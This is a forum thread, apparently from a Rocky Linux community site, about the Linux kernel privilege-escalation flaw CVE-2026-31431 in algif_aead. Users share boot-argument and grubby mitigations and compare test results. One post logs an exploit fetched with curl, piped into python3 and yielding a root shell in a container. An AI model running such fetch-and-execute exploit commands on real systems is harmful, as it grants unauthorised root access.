Anything being done about NVD - CVE-2026-31431 ?
Red Hat clearly knows about it already: cve-details
The process is almost always:
- Red Hat learns about issue
- Red Hat releases a fix for RHEL
- Rocky releases the fix (for Rocky)
There is a a temporary fix of disabling the algif_aead kernel module posted on CERT and other sites. This affects most Linux distributions and was proven on RHEL 10.1 kernel release 45. Status from CERT as of 4/29 was that the RHEL fix is unknown status. All other versions of Linux are either not fixed or also in an unknown status. This only is a local privilege escalation and is not dire if you do not allow access to the systems from remote sites.
Iāll answer myself:
Where reboot is not feasible I used the stap script mentioned here:
So this is not Zero Day vulnerability ? Its imporant
It is a zero day vulnerability, but the bad guy has to have access to your machine (either local or remote) before he can use it. Itās not a vulnerability that allows any random schmoe to log into your computer unless he already has a way to do it. It just allows him to jack up his access level if heās already present.
I added the following line to /etc/default/grub: GRUB_CMDLINE_LINUX=āinitcall_blacklist=algif_aead_initā
then did a
sudo grub2-mkconfig -o /boot/grub2/grub.cfg
upon reboot the exploit no longer works. The failure message is: AttributeError: module āosā has no attribute āspliceā. You would probably want to revert this change once a patched kernel is released.
If on Rocky 9, that is because of python version is less than 3.10. The python test exploit needs at least python 3.10 for it to work and report it. So that error doesnāt verify that you are safe.
Hello,
This PR permit to test. I confirm Rocky 9 is impacted.
Sad to report that using 3.12, it is still exploit is still there when tested with 3.12 rather than the default 
. Wonder if the security researcher that said this was a fix also had the same issue?
Hello,
The example is in python, but you can write the same thing in whatever language .. maybe in Ruby or other.
The python script just permit to āeasilyā show the exploit.
For the time being we just have to wait until the appropriate packages are updated with fixes, eg: new kernel. As already said by @FrankCox the impact probably isnāt that bad considering it requires someone to actually have access to your server with an existing account.
I tried to run this in one of my rocky linux 8.10 container and did not actually su into root. Does it impact to specific Rocky version ( I saw 9) or all ? Does anyone know?
Hello
It appears that the following setting is present in ā/etc/default/grubā:
GRUB_ENABLE_BLSCFG=true
In this case, you can configure and verify the settings using the following methods:
ā All boot entries
grubby --update-kernel=ALL --args=āinitcall_blacklist=algif_aead_initā
grubby --info=ALL
ā Specific Entries
grubby --update-kernel=/boot/vmlinuz-$(uname -r) --args=āinitcall_blacklist=algif_aead_initā
grubby --info=ALL
*Please accept my apologies if this is difficult to understand due to machine translation.
Side note, the exploit throws exec format errors on aarch64 rocky 8.10 latest with no mitigation despite working on the same kernel on x86_64. Iāve tested Fujitsu A64FX gen 1 (1.5Ghz) and gen 2.0 (2.0Ghz). I kinda expect this, Iāve run into a number of oddball hardware differences with aarch64 on these platforms that show up in the underpinnings of things like fcntl and fexec. But I donāt have access ATM to any more commodity-ish ARM, could a kind soul here with a Snapdragon or Pi please test?
Yes, the exploit does not run with python3.9. I used podman..
[root@rocky9 ~]# podman run --user 1000:1000 -it --rm python:3.11 bash
Resolved āpythonā as an alias (/etc/containers/registries.conf.d/000-shortnames.conf)
Trying to pull Docker Hub Container Image Library | App Containerizationā¦
Getting image source signatures
Copying blob 6cf369abc841 done |
Copying blob 3b32e3bb7338 done |
Copying blob 20d12c8f3f3f done |
Copying blob 5467f93954cf done |
Copying blob 1e1bb20756a8 done |
Copying blob 5e69c8985c08 done |
Copying blob c380448934e9 done |
Copying config 1683e38056 done |
Writing manifest to image destination
vagrant@cf1f4bfcee10:/$
vagrant@cf1f4bfcee10:/$
vagrant@cf1f4bfcee10:/$ curl Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 5231 0 --:ā:-- --:ā:-- --:ā:-- 5258
#
#
# whoami
root
#
#
# exit
vagrant@cf1f4bfcee10:/$ exit
exit
Please donāt minimize thisā¦
Itās true that this is an LPE (Local Privilege Escalation) issue, but is affecting many multi-tenant systems (and people), especially since the website with the original exploit alludes to it allowing breaking out of containers. It has resulted in many supercomputers around the world going down on short (or no) notice, for example.
Some call it the worst Linux kernel bug in years, I donāt disagree (but Iām definitely not an expert in this).
For now, best option seems to be to disable the relevant part of the kernel with a boot argument like initcall_blacklist=algif_aead_init, see also cve-details .
Another good source of info is AlmaLinuxā page on this
Unless of course you are using an app or functionality that requires this - at which point you canāt disable it. Especially if your business or whatever relies on that, then disabling isnāt an option. At which point, controlling/restricting access to your server is also options that should be considered especially if they are critical.
Iām not minimising it, but Iām not going to go crazy over it and as such am being rational about it. But obviously we each have our own viewpoint over it.